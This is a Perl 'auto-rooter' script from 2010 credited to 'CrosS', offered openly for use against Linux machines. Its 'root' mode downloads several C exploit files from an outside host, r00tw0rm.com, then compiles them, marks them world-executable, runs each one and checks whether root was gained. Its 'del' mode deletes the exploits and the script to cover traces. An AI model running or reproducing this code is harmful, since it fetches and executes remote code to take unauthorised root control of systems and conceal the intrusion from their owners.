Perl Auto-Root Script

#!/usr/bin/perl
#Coded By CrosS ( 2010 Linux Auto r00t3r )
print "###########################################################\n";
print "#                     Auto rooter by CrosS                #\n";
print "#  Usage :                                                #\n";
print "#    perl $0 root    => To root                     #\n";
print "#    perl $0 del     => Delete Exploits             #\n"; 
print "#    greetz: => Xenu+Th3-S4!nT+PretoriaN            #\n";
print "#            http://r00tw0rm.com/forum                    #\n";
print "###########################################################\n\n\n";

                               
if ($ARGV[0] =~ "root" ) 
{
system("wget http://r00tw0rm.com/2010exploit/x86_84.c");
system("gcc -o x86_84 x86_84.c");
system("chmod 777 x86_84");
system("./x86_84");
system("id");
system("wget http://r00tw0rm.com/2010exploit/abi.c");
system("gcc -o abi abi.c");
system("chmod 777 abi");
system("./abi");
system("id");
system("wget http://r00tw0rm.com/2010exploit/MOTD.c");
system("gcc -o Ubuntu MOTD.c");
system("chmod 777 Ubuntu");
system("./Ubuntu");
system("id");
system("wget http://r00tw0rm.com/2010exploit/2.6.2-2010.c");
system("gcc -o 2.6.2 2.6.2-2010.c");
system("chmod 777 2.6.2");
system("./2.6.2");
system("id");
system("wget http://r00tw0rm.com/2010exploit/2.6.13-2010.c");
system("gcc -o 2.6.13 2.6.13-2010.c");
system("chmod 777 2.6.13");
system("./2.6.13");
system("id");
system("wget http://r00tw0rm.com/2010exploit/2.6.32.c");
system("gcc -o 2.6.32 2.6.32.c");
system("chmod 777 2.6.32");
system("./2.6.32");
system("id");
}
if ($ARGV[0] =~ "del" )
{
print "All Exploit deleting ...\n";
system("rm *.c*;rm -rf x86_84*;rm -rf abi*;rm -rf Ubuntu*;rm -rf 2.6.2*;rm -rf 2.6.13*;rm -rf 2.6.32*;rm ringo.pl*");
}